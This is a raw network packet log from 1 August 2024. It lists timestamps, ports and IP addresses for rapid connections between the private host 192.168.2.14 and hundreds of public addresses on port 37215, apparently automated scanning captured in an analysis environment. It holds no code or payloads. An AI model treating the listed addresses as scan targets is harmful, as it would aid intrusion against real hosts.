Aug 1, 2024 15:35:03.541876078 CEST	37215	47767	197.142.239.121	192.168.2.14
Aug 1, 2024 15:35:03.541887045 CEST	37215	47767	41.222.139.194	192.168.2.14
Aug 1, 2024 15:35:03.541897058 CEST	37215	47767	41.170.163.14	192.168.2.14
Aug 1, 2024 15:35:03.541898966 CEST	47767	37215	192.168.2.14	197.8.159.80
Aug 1, 2024 15:35:03.541903019 CEST	47767	37215	192.168.2.14	197.142.239.121
Aug 1, 2024 15:35:03.541922092 CEST	47767	37215	192.168.2.14	41.222.139.194
Aug 1, 2024 15:35:03.541929960 CEST	47767	37215	192.168.2.14	41.170.163.14
Aug 1, 2024 15:35:03.541974068 CEST	37215	47767	41.127.34.89	192.168.2.14
Aug 1, 2024 15:35:03.541985035 CEST	37215	47767	197.217.92.194	192.168.2.14
Aug 1, 2024 15:35:03.541997910 CEST	37215	47767	197.239.178.48	192.168.2.14
Aug 1, 2024 15:35:03.542012930 CEST	47767	37215	192.168.2.14	41.127.34.89
Aug 1, 2024 15:35:03.542015076 CEST	47767	37215	192.168.2.14	197.217.92.194
Aug 1, 2024 15:35:03.542025089 CEST	37215	47767	157.140.184.194	192.168.2.14
Aug 1, 2024 15:35:03.542030096 CEST	47767	37215	192.168.2.14	197.239.178.48
Aug 1, 2024 15:35:03.542036057 CEST	37215	47767	41.252.161.171	192.168.2.14
Aug 1, 2024 15:35:03.542047024 CEST	37215	47767	41.167.64.159	192.168.2.14
Aug 1, 2024 15:35:03.542057037 CEST	37215	47767	71.239.108.103	192.168.2.14
Aug 1, 2024 15:35:03.542067051 CEST	47767	37215	192.168.2.14	41.252.161.171
Aug 1, 2024 15:35:03.542068005 CEST	37215	47767	157.252.149.132	192.168.2.14
Aug 1, 2024 15:35:03.542072058 CEST	47767	37215	192.168.2.14	157.140.184.194
Aug 1, 2024 15:35:03.542078972 CEST	47767	37215	192.168.2.14	41.167.64.159
Aug 1, 2024 15:35:03.542081118 CEST	37215	47767	197.184.233.112	192.168.2.14
Aug 1, 2024 15:35:03.542083025 CEST	47767	37215	192.168.2.14	71.239.108.103
Aug 1, 2024 15:35:03.542093039 CEST	37215	47767	157.58.130.203	192.168.2.14
Aug 1, 2024 15:35:03.542104006 CEST	37215	47767	163.239.74.189	192.168.2.14
Aug 1, 2024 15:35:03.542114019 CEST	37215	47767	197.149.207.113	192.168.2.14
Aug 1, 2024 15:35:03.542114973 CEST	47767	37215	192.168.2.14	157.252.149.132
Aug 1, 2024 15:35:03.542121887 CEST	47767	37215	192.168.2.14	197.184.233.112
Aug 1, 2024 15:35:03.542123079 CEST	37215	47767	41.114.127.82	192.168.2.14
Aug 1, 2024 15:35:03.542126894 CEST	47767	37215	192.168.2.14	157.58.130.203
Aug 1, 2024 15:35:03.542134047 CEST	37215	47767	39.186.84.166	192.168.2.14
Aug 1, 2024 15:35:03.542134047 CEST	47767	37215	192.168.2.14	163.239.74.189
Aug 1, 2024 15:35:03.542138100 CEST	47767	37215	192.168.2.14	197.149.207.113
Aug 1, 2024 15:35:03.542155027 CEST	37215	47767	41.249.213.42	192.168.2.14
Aug 1, 2024 15:35:03.542155027 CEST	47767	37215	192.168.2.14	41.114.127.82
Aug 1, 2024 15:35:03.542165041 CEST	37215	47767	41.56.172.211	192.168.2.14
Aug 1, 2024 15:35:03.542175055 CEST	47767	37215	192.168.2.14	39.186.84.166
Aug 1, 2024 15:35:03.542177916 CEST	37215	47767	165.48.23.48	192.168.2.14
Aug 1, 2024 15:35:03.542191982 CEST	37215	47767	41.1.190.222	192.168.2.14
Aug 1, 2024 15:35:03.542198896 CEST	47767	37215	192.168.2.14	41.249.213.42
Aug 1, 2024 15:35:03.542198896 CEST	47767	37215	192.168.2.14	41.56.172.211
Aug 1, 2024 15:35:03.542207956 CEST	47767	37215	192.168.2.14	165.48.23.48
Aug 1, 2024 15:35:03.542208910 CEST	37215	47767	197.44.34.9	192.168.2.14
Aug 1, 2024 15:35:03.542220116 CEST	37215	47767	41.138.202.64	192.168.2.14
Aug 1, 2024 15:35:03.542221069 CEST	47767	37215	192.168.2.14	41.1.190.222
Aug 1, 2024 15:35:03.542229891 CEST	37215	47767	222.49.15.198	192.168.2.14
Aug 1, 2024 15:35:03.542237997 CEST	47767	37215	192.168.2.14	197.44.34.9
Aug 1, 2024 15:35:03.542241096 CEST	37215	47767	197.23.238.201	192.168.2.14
Aug 1, 2024 15:35:03.542251110 CEST	47767	37215	192.168.2.14	41.138.202.64
Aug 1, 2024 15:35:03.542252064 CEST	37215	47767	41.0.202.214	192.168.2.14
Aug 1, 2024 15:35:03.542264938 CEST	37215	47767	157.62.181.44	192.168.2.14
Aug 1, 2024 15:35:03.542270899 CEST	47767	37215	192.168.2.14	222.49.15.198
Aug 1, 2024 15:35:03.542274952 CEST	37215	47767	157.27.165.222	192.168.2.14
Aug 1, 2024 15:35:03.542275906 CEST	47767	37215	192.168.2.14	197.23.238.201
Aug 1, 2024 15:35:03.542278051 CEST	47767	37215	192.168.2.14	41.0.202.214
Aug 1, 2024 15:35:03.542284966 CEST	37215	47767	88.98.59.247	192.168.2.14
Aug 1, 2024 15:35:03.542289972 CEST	37215	47767	41.81.177.217	192.168.2.14
Aug 1, 2024 15:35:03.542299032 CEST	47767	37215	192.168.2.14	157.62.181.44
Aug 1, 2024 15:35:03.542299986 CEST	37215	47767	176.116.248.255	192.168.2.14
Aug 1, 2024 15:35:03.542316914 CEST	47767	37215	192.168.2.14	41.81.177.217
Aug 1, 2024 15:35:03.542319059 CEST	47767	37215	192.168.2.14	157.27.165.222
Aug 1, 2024 15:35:03.542320013 CEST	47767	37215	192.168.2.14	88.98.59.247
Aug 1, 2024 15:35:03.542331934 CEST	47767	37215	192.168.2.14	176.116.248.255
Aug 1, 2024 15:35:03.542511940 CEST	37215	47767	41.198.190.65	192.168.2.14
Aug 1, 2024 15:35:03.542521954 CEST	37215	47767	197.175.214.173	192.168.2.14
Aug 1, 2024 15:35:03.542534113 CEST	37215	47767	197.173.68.167	192.168.2.14
Aug 1, 2024 15:35:03.542543888 CEST	37215	47767	197.34.131.8	192.168.2.14
Aug 1, 2024 15:35:03.542553902 CEST	47767	37215	192.168.2.14	197.175.214.173
Aug 1, 2024 15:35:03.542553902 CEST	37215	47767	36.68.24.24	192.168.2.14
Aug 1, 2024 15:35:03.542555094 CEST	47767	37215	192.168.2.14	41.198.190.65
Aug 1, 2024 15:35:03.542563915 CEST	47767	37215	192.168.2.14	197.173.68.167
Aug 1, 2024 15:35:03.542567968 CEST	37215	47767	41.78.21.228	192.168.2.14
Aug 1, 2024 15:35:03.542574883 CEST	47767	37215	192.168.2.14	197.34.131.8
Aug 1, 2024 15:35:03.542578936 CEST	47767	37215	192.168.2.14	36.68.24.24
Aug 1, 2024 15:35:03.542581081 CEST	37215	47767	197.129.222.7	192.168.2.14
Aug 1, 2024 15:35:03.542592049 CEST	37215	47767	157.238.62.26	192.168.2.14
Aug 1, 2024 15:35:03.542607069 CEST	47767	37215	192.168.2.14	41.78.21.228
Aug 1, 2024 15:35:03.542612076 CEST	37215	47767	197.228.82.100	192.168.2.14
Aug 1, 2024 15:35:03.542617083 CEST	47767	37215	192.168.2.14	197.129.222.7
Aug 1, 2024 15:35:03.542624950 CEST	37215	47767	197.66.52.110	192.168.2.14
Aug 1, 2024 15:35:03.542628050 CEST	47767	37215	192.168.2.14	157.238.62.26
Aug 1, 2024 15:35:03.542637110 CEST	37215	47767	157.133.5.109	192.168.2.14
Aug 1, 2024 15:35:03.542649031 CEST	47767	37215	192.168.2.14	197.228.82.100
Aug 1, 2024 15:35:03.542658091 CEST	37215	47767	197.71.47.0	192.168.2.14
Aug 1, 2024 15:35:03.542665005 CEST	47767	37215	192.168.2.14	157.133.5.109
Aug 1, 2024 15:35:03.542668104 CEST	37215	47767	41.104.31.30	192.168.2.14
Aug 1, 2024 15:35:03.542668104 CEST	47767	37215	192.168.2.14	197.66.52.110
Aug 1, 2024 15:35:03.542680025 CEST	37215	47767	197.77.1.223	192.168.2.14
Aug 1, 2024 15:35:03.542690992 CEST	37215	47767	197.85.228.88	192.168.2.14
Aug 1, 2024 15:35:03.542692900 CEST	47767	37215	192.168.2.14	197.71.47.0
Aug 1, 2024 15:35:03.542697906 CEST	47767	37215	192.168.2.14	41.104.31.30
Aug 1, 2024 15:35:03.542702913 CEST	47767	37215	192.168.2.14	197.77.1.223
Aug 1, 2024 15:35:03.542707920 CEST	37215	47767	41.117.122.113	192.168.2.14
Aug 1, 2024 15:35:03.542721033 CEST	37215	47767	157.99.75.160	192.168.2.14
Aug 1, 2024 15:35:03.542726040 CEST	47767	37215	192.168.2.14	197.85.228.88
Aug 1, 2024 15:35:03.542736053 CEST	37215	47767	41.231.186.168	192.168.2.14
Aug 1, 2024 15:35:03.542741060 CEST	47767	37215	192.168.2.14	41.117.122.113
Aug 1, 2024 15:35:03.542742968 CEST	47767	37215	192.168.2.14	157.99.75.160
Aug 1, 2024 15:35:03.542752981 CEST	37215	47767	197.98.75.37	192.168.2.14
Aug 1, 2024 15:35:03.542762995 CEST	37215	47767	41.69.152.175	192.168.2.14
Aug 1, 2024 15:35:03.542772055 CEST	37215	47767	41.54.197.162	192.168.2.14
Aug 1, 2024 15:35:03.542781115 CEST	47767	37215	192.168.2.14	41.231.186.168
Aug 1, 2024 15:35:03.542783976 CEST	37215	47767	197.237.242.236	192.168.2.14
Aug 1, 2024 15:35:03.542792082 CEST	47767	37215	192.168.2.14	197.98.75.37
Aug 1, 2024 15:35:03.542792082 CEST	47767	37215	192.168.2.14	41.69.152.175
Aug 1, 2024 15:35:03.542803049 CEST	37215	47767	212.232.186.243	192.168.2.14
Aug 1, 2024 15:35:03.542804003 CEST	47767	37215	192.168.2.14	41.54.197.162
Aug 1, 2024 15:35:03.542814016 CEST	37215	47767	197.226.216.54	192.168.2.14
Aug 1, 2024 15:35:03.542817116 CEST	47767	37215	192.168.2.14	197.237.242.236
Aug 1, 2024 15:35:03.542825937 CEST	37215	47767	157.14.245.128	192.168.2.14
Aug 1, 2024 15:35:03.542835951 CEST	37215	47767	170.3.60.15	192.168.2.14
Aug 1, 2024 15:35:03.542840004 CEST	47767	37215	192.168.2.14	212.232.186.243
Aug 1, 2024 15:35:03.542843103 CEST	47767	37215	192.168.2.14	197.226.216.54
Aug 1, 2024 15:35:03.542845964 CEST	37215	47767	41.76.159.207	192.168.2.14
Aug 1, 2024 15:35:03.542854071 CEST	47767	37215	192.168.2.14	157.14.245.128
Aug 1, 2024 15:35:03.542856932 CEST	37215	47767	157.164.127.176	192.168.2.14
Aug 1, 2024 15:35:03.542866945 CEST	47767	37215	192.168.2.14	170.3.60.15
Aug 1, 2024 15:35:03.542870045 CEST	47767	37215	192.168.2.14	41.76.159.207
Aug 1, 2024 15:35:03.542891026 CEST	47767	37215	192.168.2.14	157.164.127.176
Aug 1, 2024 15:35:03.543137074 CEST	37215	47767	157.118.162.100	192.168.2.14
Aug 1, 2024 15:35:03.543159962 CEST	37215	47767	197.234.224.127	192.168.2.14
Aug 1, 2024 15:35:03.543174982 CEST	37215	47767	197.49.154.237	192.168.2.14
Aug 1, 2024 15:35:03.543181896 CEST	47767	37215	192.168.2.14	157.118.162.100
Aug 1, 2024 15:35:03.543188095 CEST	47767	37215	192.168.2.14	197.234.224.127
Aug 1, 2024 15:35:03.543194056 CEST	37215	47767	157.204.25.194	192.168.2.14
Aug 1, 2024 15:35:03.543205023 CEST	37215	47767	41.166.56.107	192.168.2.14
Aug 1, 2024 15:35:03.543214083 CEST	47767	37215	192.168.2.14	197.49.154.237
Aug 1, 2024 15:35:03.543215036 CEST	37215	47767	41.79.80.86	192.168.2.14
Aug 1, 2024 15:35:03.543226004 CEST	37215	47767	41.182.244.223	192.168.2.14
Aug 1, 2024 15:35:03.543226004 CEST	47767	37215	192.168.2.14	157.204.25.194
Aug 1, 2024 15:35:03.543229103 CEST	47767	37215	192.168.2.14	41.166.56.107
Aug 1, 2024 15:35:03.543240070 CEST	47767	37215	192.168.2.14	41.79.80.86
Aug 1, 2024 15:35:03.543246031 CEST	37215	47767	92.208.91.141	192.168.2.14
Aug 1, 2024 15:35:03.543257952 CEST	37215	47767	157.59.195.169	192.168.2.14
Aug 1, 2024 15:35:03.543265104 CEST	47767	37215	192.168.2.14	41.182.244.223
Aug 1, 2024 15:35:03.543275118 CEST	37215	47767	103.16.252.52	192.168.2.14
Aug 1, 2024 15:35:03.543287992 CEST	47767	37215	192.168.2.14	92.208.91.141
Aug 1, 2024 15:35:03.543287992 CEST	47767	37215	192.168.2.14	157.59.195.169
Aug 1, 2024 15:35:03.543308020 CEST	47767	37215	192.168.2.14	103.16.252.52
Aug 1, 2024 15:35:03.543493986 CEST	37215	47767	197.3.69.67	192.168.2.14
Aug 1, 2024 15:35:03.543529987 CEST	47767	37215	192.168.2.14	197.3.69.67
Aug 1, 2024 15:35:03.743103981 CEST	37215	46182	157.101.162.13	192.168.2.14
Aug 1, 2024 15:35:03.743383884 CEST	46182	37215	192.168.2.14	157.101.162.13
Aug 1, 2024 15:35:04.273243904 CEST	37215	37734	197.6.51.90	192.168.2.14
Aug 1, 2024 15:35:04.273578882 CEST	37734	37215	192.168.2.14	197.6.51.90
Aug 1, 2024 15:35:04.537115097 CEST	47767	37215	192.168.2.14	157.194.199.236
Aug 1, 2024 15:35:04.537116051 CEST	47767	37215	192.168.2.14	197.90.72.149
Aug 1, 2024 15:35:04.537115097 CEST	47767	37215	192.168.2.14	197.172.111.214
Aug 1, 2024 15:35:04.537122011 CEST	47767	37215	192.168.2.14	41.83.128.61
Aug 1, 2024 15:35:04.537130117 CEST	47767	37215	192.168.2.14	221.116.61.84
Aug 1, 2024 15:35:04.537136078 CEST	47767	37215	192.168.2.14	4.57.69.144
Aug 1, 2024 15:35:04.537137032 CEST	47767	37215	192.168.2.14	94.197.150.63
Aug 1, 2024 15:35:04.537137032 CEST	47767	37215	192.168.2.14	157.168.196.106
Aug 1, 2024 15:35:04.537137032 CEST	47767	37215	192.168.2.14	197.40.118.120
Aug 1, 2024 15:35:04.537143946 CEST	47767	37215	192.168.2.14	188.201.194.75
Aug 1, 2024 15:35:04.537144899 CEST	47767	37215	192.168.2.14	197.59.112.243
Aug 1, 2024 15:35:04.537154913 CEST	47767	37215	192.168.2.14	197.116.71.207
Aug 1, 2024 15:35:04.537154913 CEST	47767	37215	192.168.2.14	157.111.42.213
Aug 1, 2024 15:35:04.537183046 CEST	47767	37215	192.168.2.14	197.42.64.218
Aug 1, 2024 15:35:04.537183046 CEST	47767	37215	192.168.2.14	41.32.138.96
Aug 1, 2024 15:35:04.537204027 CEST	47767	37215	192.168.2.14	157.212.52.133
Aug 1, 2024 15:35:04.537234068 CEST	47767	37215	192.168.2.14	197.196.202.119
Aug 1, 2024 15:35:04.537247896 CEST	47767	37215	192.168.2.14	179.95.26.123
Aug 1, 2024 15:35:04.537264109 CEST	47767	37215	192.168.2.14	157.53.206.149
Aug 1, 2024 15:35:04.537276030 CEST	47767	37215	192.168.2.14	197.33.197.186
Aug 1, 2024 15:35:04.537290096 CEST	47767	37215	192.168.2.14	157.2.204.44
Aug 1, 2024 15:35:04.537307978 CEST	47767	37215	192.168.2.14	41.243.168.179
Aug 1, 2024 15:35:04.537321091 CEST	47767	37215	192.168.2.14	197.59.159.249
Aug 1, 2024 15:35:04.537341118 CEST	47767	37215	192.168.2.14	41.5.15.9
Aug 1, 2024 15:35:04.537396908 CEST	47767	37215	192.168.2.14	41.123.59.250
Aug 1, 2024 15:35:04.537414074 CEST	47767	37215	192.168.2.14	153.34.223.152
Aug 1, 2024 15:35:04.537421942 CEST	47767	37215	192.168.2.14	197.242.77.95
Aug 1, 2024 15:35:04.537441969 CEST	47767	37215	192.168.2.14	157.169.214.8
Aug 1, 2024 15:35:04.537452936 CEST	47767	37215	192.168.2.14	154.156.55.211
Aug 1, 2024 15:35:04.537467957 CEST	47767	37215	192.168.2.14	79.20.180.13
Aug 1, 2024 15:35:04.537496090 CEST	47767	37215	192.168.2.14	88.41.80.14
Aug 1, 2024 15:35:04.537514925 CEST	47767	37215	192.168.2.14	41.7.142.47
Aug 1, 2024 15:35:04.537545919 CEST	47767	37215	192.168.2.14	154.128.168.164
Aug 1, 2024 15:35:04.537553072 CEST	47767	37215	192.168.2.14	41.47.178.191
Aug 1, 2024 15:35:04.537553072 CEST	47767	37215	192.168.2.14	45.145.19.215
Aug 1, 2024 15:35:04.537571907 CEST	47767	37215	192.168.2.14	41.50.86.186
Aug 1, 2024 15:35:04.537586927 CEST	47767	37215	192.168.2.14	197.67.80.139
Aug 1, 2024 15:35:04.537609100 CEST	47767	37215	192.168.2.14	157.221.63.136
Aug 1, 2024 15:35:04.537617922 CEST	47767	37215	192.168.2.14	157.139.106.57
Aug 1, 2024 15:35:04.537637949 CEST	47767	37215	192.168.2.14	41.112.76.41
Aug 1, 2024 15:35:04.537653923 CEST	47767	37215	192.168.2.14	157.184.78.209
Aug 1, 2024 15:35:04.537673950 CEST	47767	37215	192.168.2.14	197.199.4.95
Aug 1, 2024 15:35:04.537686110 CEST	47767	37215	192.168.2.14	197.252.254.43
Aug 1, 2024 15:35:04.537709951 CEST	47767	37215	192.168.2.14	197.106.140.211
Aug 1, 2024 15:35:04.537734985 CEST	47767	37215	192.168.2.14	97.179.240.178
Aug 1, 2024 15:35:04.537743092 CEST	47767	37215	192.168.2.14	41.208.156.134
Aug 1, 2024 15:35:04.537764072 CEST	47767	37215	192.168.2.14	157.4.121.249
Aug 1, 2024 15:35:04.537791014 CEST	47767	37215	192.168.2.14	157.145.14.93
Aug 1, 2024 15:35:04.537791014 CEST	47767	37215	192.168.2.14	197.146.104.21
Aug 1, 2024 15:35:04.537808895 CEST	47767	37215	192.168.2.14	197.163.15.79
Aug 1, 2024 15:35:04.537832975 CEST	47767	37215	192.168.2.14	157.244.159.100
Aug 1, 2024 15:35:04.537848949 CEST	47767	37215	192.168.2.14	189.213.94.150
Aug 1, 2024 15:35:04.537868023 CEST	47767	37215	192.168.2.14	41.18.216.71
Aug 1, 2024 15:35:04.537889004 CEST	47767	37215	192.168.2.14	197.123.98.89
Aug 1, 2024 15:35:04.537899017 CEST	47767	37215	192.168.2.14	197.50.247.10
Aug 1, 2024 15:35:04.537919998 CEST	47767	37215	192.168.2.14	157.168.216.172
Aug 1, 2024 15:35:04.537950993 CEST	47767	37215	192.168.2.14	108.209.236.149
Aug 1, 2024 15:35:04.537976980 CEST	47767	37215	192.168.2.14	197.83.216.176
Aug 1, 2024 15:35:04.537995100 CEST	47767	37215	192.168.2.14	159.231.128.109
Aug 1, 2024 15:35:04.538002968 CEST	47767	37215	192.168.2.14	32.81.185.247
Aug 1, 2024 15:35:04.538019896 CEST	47767	37215	192.168.2.14	197.13.203.197
Aug 1, 2024 15:35:04.538019896 CEST	47767	37215	192.168.2.14	103.102.173.153
Aug 1, 2024 15:35:04.538050890 CEST	47767	37215	192.168.2.14	41.162.144.180
Aug 1, 2024 15:35:04.538067102 CEST	47767	37215	192.168.2.14	148.22.231.222
Aug 1, 2024 15:35:04.538088083 CEST	47767	37215	192.168.2.14	197.122.86.99
Aug 1, 2024 15:35:04.538125038 CEST	47767	37215	192.168.2.14	197.21.90.241
Aug 1, 2024 15:35:04.538125038 CEST	47767	37215	192.168.2.14	157.156.171.215
Aug 1, 2024 15:35:04.538141012 CEST	47767	37215	192.168.2.14	157.89.199.103
Aug 1, 2024 15:35:04.538161993 CEST	47767	37215	192.168.2.14	197.67.5.206
Aug 1, 2024 15:35:04.538171053 CEST	47767	37215	192.168.2.14	117.160.57.177
Aug 1, 2024 15:35:04.538183928 CEST	47767	37215	192.168.2.14	70.173.99.178
Aug 1, 2024 15:35:04.538203001 CEST	47767	37215	192.168.2.14	197.61.23.38
Aug 1, 2024 15:35:04.538216114 CEST	47767	37215	192.168.2.14	41.203.234.109
Aug 1, 2024 15:35:04.538238049 CEST	47767	37215	192.168.2.14	157.113.241.114
Aug 1, 2024 15:35:04.538259983 CEST	47767	37215	192.168.2.14	75.69.222.123
Aug 1, 2024 15:35:04.538279057 CEST	47767	37215	192.168.2.14	197.165.152.244
Aug 1, 2024 15:35:04.538300991 CEST	47767	37215	192.168.2.14	157.219.229.32
Aug 1, 2024 15:35:04.538330078 CEST	47767	37215	192.168.2.14	8.237.92.238
Aug 1, 2024 15:35:04.538343906 CEST	47767	37215	192.168.2.14	157.233.153.54
Aug 1, 2024 15:35:04.538356066 CEST	47767	37215	192.168.2.14	41.46.32.48
Aug 1, 2024 15:35:04.538372040 CEST	47767	37215	192.168.2.14	157.229.152.163
Aug 1, 2024 15:35:04.538397074 CEST	47767	37215	192.168.2.14	197.5.18.68
Aug 1, 2024 15:35:04.538408041 CEST	47767	37215	192.168.2.14	157.102.92.200
Aug 1, 2024 15:35:04.538438082 CEST	47767	37215	192.168.2.14	157.123.167.80
Aug 1, 2024 15:35:04.538465023 CEST	47767	37215	192.168.2.14	209.174.97.67
Aug 1, 2024 15:35:04.538489103 CEST	47767	37215	192.168.2.14	41.141.173.199
Aug 1, 2024 15:35:04.538503885 CEST	47767	37215	192.168.2.14	157.114.51.100
Aug 1, 2024 15:35:04.538513899 CEST	47767	37215	192.168.2.14	41.205.206.186
Aug 1, 2024 15:35:04.538527966 CEST	47767	37215	192.168.2.14	197.161.49.20
Aug 1, 2024 15:35:04.538552046 CEST	47767	37215	192.168.2.14	100.236.53.126
Aug 1, 2024 15:35:04.538567066 CEST	47767	37215	192.168.2.14	197.124.27.217
Aug 1, 2024 15:35:04.538573027 CEST	47767	37215	192.168.2.14	107.194.16.250
Aug 1, 2024 15:35:04.538605928 CEST	47767	37215	192.168.2.14	171.189.161.225
Aug 1, 2024 15:35:04.538623095 CEST	47767	37215	192.168.2.14	197.95.243.177
Aug 1, 2024 15:35:04.538639069 CEST	47767	37215	192.168.2.14	197.176.226.103
Aug 1, 2024 15:35:04.538659096 CEST	47767	37215	192.168.2.14	41.9.128.187
Aug 1, 2024 15:35:04.538676023 CEST	47767	37215	192.168.2.14	149.216.75.157
Aug 1, 2024 15:35:04.538701057 CEST	47767	37215	192.168.2.14	157.101.90.172
Aug 1, 2024 15:35:04.538701057 CEST	47767	37215	192.168.2.14	157.61.35.240
Aug 1, 2024 15:35:04.538739920 CEST	47767	37215	192.168.2.14	157.119.55.33
Aug 1, 2024 15:35:04.538739920 CEST	47767	37215	192.168.2.14	157.90.86.144
Aug 1, 2024 15:35:04.538769960 CEST	47767	37215	192.168.2.14	41.16.74.118
Aug 1, 2024 15:35:04.538779974 CEST	47767	37215	192.168.2.14	188.202.148.211
Aug 1, 2024 15:35:04.538798094 CEST	47767	37215	192.168.2.14	184.32.107.231
Aug 1, 2024 15:35:04.538810968 CEST	47767	37215	192.168.2.14	157.135.78.83
Aug 1, 2024 15:35:04.538850069 CEST	47767	37215	192.168.2.14	71.85.176.12
Aug 1, 2024 15:35:04.538871050 CEST	47767	37215	192.168.2.14	157.174.12.230
Aug 1, 2024 15:35:04.538891077 CEST	47767	37215	192.168.2.14	197.215.15.15
Aug 1, 2024 15:35:04.538913965 CEST	47767	37215	192.168.2.14	157.204.120.141
Aug 1, 2024 15:35:04.538933039 CEST	47767	37215	192.168.2.14	41.136.146.160
Aug 1, 2024 15:35:04.538949966 CEST	47767	37215	192.168.2.14	157.242.115.42
Aug 1, 2024 15:35:04.538949966 CEST	47767	37215	192.168.2.14	157.170.121.43
Aug 1, 2024 15:35:04.538961887 CEST	47767	37215	192.168.2.14	96.39.241.96
Aug 1, 2024 15:35:04.538980007 CEST	47767	37215	192.168.2.14	41.110.227.128
Aug 1, 2024 15:35:04.538999081 CEST	47767	37215	192.168.2.14	197.52.117.145
Aug 1, 2024 15:35:04.539011955 CEST	47767	37215	192.168.2.14	41.17.169.14
Aug 1, 2024 15:35:04.539026022 CEST	47767	37215	192.168.2.14	41.101.245.240
Aug 1, 2024 15:35:04.539042950 CEST	47767	37215	192.168.2.14	156.231.148.77
Aug 1, 2024 15:35:04.539052963 CEST	47767	37215	192.168.2.14	41.145.234.237
Aug 1, 2024 15:35:04.539071083 CEST	47767	37215	192.168.2.14	153.160.91.101
Aug 1, 2024 15:35:04.539084911 CEST	47767	37215	192.168.2.14	157.88.44.87
Aug 1, 2024 15:35:04.539105892 CEST	47767	37215	192.168.2.14	197.214.10.23
Aug 1, 2024 15:35:04.539138079 CEST	47767	37215	192.168.2.14	207.72.2.22
Aug 1, 2024 15:35:04.539144039 CEST	47767	37215	192.168.2.14	197.218.196.14
Aug 1, 2024 15:35:04.539169073 CEST	47767	37215	192.168.2.14	197.80.146.139
Aug 1, 2024 15:35:04.539182901 CEST	47767	37215	192.168.2.14	157.99.35.159
Aug 1, 2024 15:35:04.539196968 CEST	47767	37215	192.168.2.14	41.111.50.53
Aug 1, 2024 15:35:04.539215088 CEST	47767	37215	192.168.2.14	157.252.35.88
Aug 1, 2024 15:35:04.539235115 CEST	47767	37215	192.168.2.14	41.112.226.208
Aug 1, 2024 15:35:04.539247036 CEST	47767	37215	192.168.2.14	157.254.189.84
Aug 1, 2024 15:35:04.539272070 CEST	47767	37215	192.168.2.14	41.249.141.200
Aug 1, 2024 15:35:04.539294004 CEST	47767	37215	192.168.2.14	39.169.197.181
Aug 1, 2024 15:35:04.539326906 CEST	47767	37215	192.168.2.14	197.176.140.240
Aug 1, 2024 15:35:04.539350986 CEST	47767	37215	192.168.2.14	116.138.181.208
Aug 1, 2024 15:35:04.539375067 CEST	47767	37215	192.168.2.14	157.192.161.162
Aug 1, 2024 15:35:04.539407015 CEST	47767	37215	192.168.2.14	35.9.223.10
Aug 1, 2024 15:35:04.539413929 CEST	47767	37215	192.168.2.14	41.180.223.215
Aug 1, 2024 15:35:04.539414883 CEST	47767	37215	192.168.2.14	41.54.252.218
Aug 1, 2024 15:35:04.539427042 CEST	47767	37215	192.168.2.14	41.211.9.237
Aug 1, 2024 15:35:04.539443016 CEST	47767	37215	192.168.2.14	187.134.205.189
Aug 1, 2024 15:35:04.539463043 CEST	47767	37215	192.168.2.14	157.91.94.208
Aug 1, 2024 15:35:04.539488077 CEST	47767	37215	192.168.2.14	130.200.154.111
Aug 1, 2024 15:35:04.539510012 CEST	47767	37215	192.168.2.14	197.167.213.89
Aug 1, 2024 15:35:04.539520025 CEST	47767	37215	192.168.2.14	157.83.179.212
Aug 1, 2024 15:35:04.539550066 CEST	47767	37215	192.168.2.14	212.254.77.2
Aug 1, 2024 15:35:04.539566994 CEST	47767	37215	192.168.2.14	41.62.96.38
Aug 1, 2024 15:35:04.539573908 CEST	47767	37215	192.168.2.14	112.131.111.20
Aug 1, 2024 15:35:04.539581060 CEST	47767	37215	192.168.2.14	41.211.157.241
Aug 1, 2024 15:35:04.539619923 CEST	47767	37215	192.168.2.14	179.102.61.180
Aug 1, 2024 15:35:04.539623022 CEST	47767	37215	192.168.2.14	197.143.47.243
Aug 1, 2024 15:35:04.539625883 CEST	47767	37215	192.168.2.14	207.8.204.59
Aug 1, 2024 15:35:04.539649010 CEST	47767	37215	192.168.2.14	202.129.152.8
Aug 1, 2024 15:35:04.539669991 CEST	47767	37215	192.168.2.14	197.113.47.163
Aug 1, 2024 15:35:04.539680958 CEST	47767	37215	192.168.2.14	157.132.239.105
Aug 1, 2024 15:35:04.539710045 CEST	47767	37215	192.168.2.14	197.41.44.36
Aug 1, 2024 15:35:04.539710045 CEST	47767	37215	192.168.2.14	197.236.64.225
Aug 1, 2024 15:35:04.539736986 CEST	47767	37215	192.168.2.14	41.85.194.69
Aug 1, 2024 15:35:04.539743900 CEST	47767	37215	192.168.2.14	157.156.89.32
Aug 1, 2024 15:35:04.539766073 CEST	47767	37215	192.168.2.14	197.15.208.193
Aug 1, 2024 15:35:04.539768934 CEST	47767	37215	192.168.2.14	157.241.206.208
Aug 1, 2024 15:35:04.539788008 CEST	47767	37215	192.168.2.14	157.82.207.141
Aug 1, 2024 15:35:04.539805889 CEST	47767	37215	192.168.2.14	41.114.182.91
Aug 1, 2024 15:35:04.539820910 CEST	47767	37215	192.168.2.14	197.154.43.246
Aug 1, 2024 15:35:04.539844036 CEST	47767	37215	192.168.2.14	104.158.145.195
Aug 1, 2024 15:35:04.539870977 CEST	47767	37215	192.168.2.14	41.182.193.35
Aug 1, 2024 15:35:04.539885998 CEST	47767	37215	192.168.2.14	41.185.243.18
Aug 1, 2024 15:35:04.539908886 CEST	47767	37215	192.168.2.14	41.17.84.98
Aug 1, 2024 15:35:04.539928913 CEST	47767	37215	192.168.2.14	41.220.236.70
Aug 1, 2024 15:35:04.539928913 CEST	47767	37215	192.168.2.14	157.168.124.150
Aug 1, 2024 15:35:04.539948940 CEST	47767	37215	192.168.2.14	157.185.13.160
Aug 1, 2024 15:35:04.539966106 CEST	47767	37215	192.168.2.14	157.183.234.178
Aug 1, 2024 15:35:04.539978981 CEST	47767	37215	192.168.2.14	183.168.187.248
Aug 1, 2024 15:35:04.540016890 CEST	47767	37215	192.168.2.14	157.78.107.180
Aug 1, 2024 15:35:04.540045023 CEST	47767	37215	192.168.2.14	197.45.215.185
Aug 1, 2024 15:35:04.540069103 CEST	47767	37215	192.168.2.14	146.216.234.161
Aug 1, 2024 15:35:04.540085077 CEST	47767	37215	192.168.2.14	117.16.132.169
Aug 1, 2024 15:35:04.540107965 CEST	47767	37215	192.168.2.14	41.190.104.238
Aug 1, 2024 15:35:04.540121078 CEST	47767	37215	192.168.2.14	41.0.169.213
Aug 1, 2024 15:35:04.540122986 CEST	47767	37215	192.168.2.14	51.144.147.99
Aug 1, 2024 15:35:04.540133953 CEST	47767	37215	192.168.2.14	197.4.200.237
Aug 1, 2024 15:35:04.540153980 CEST	47767	37215	192.168.2.14	157.218.116.60
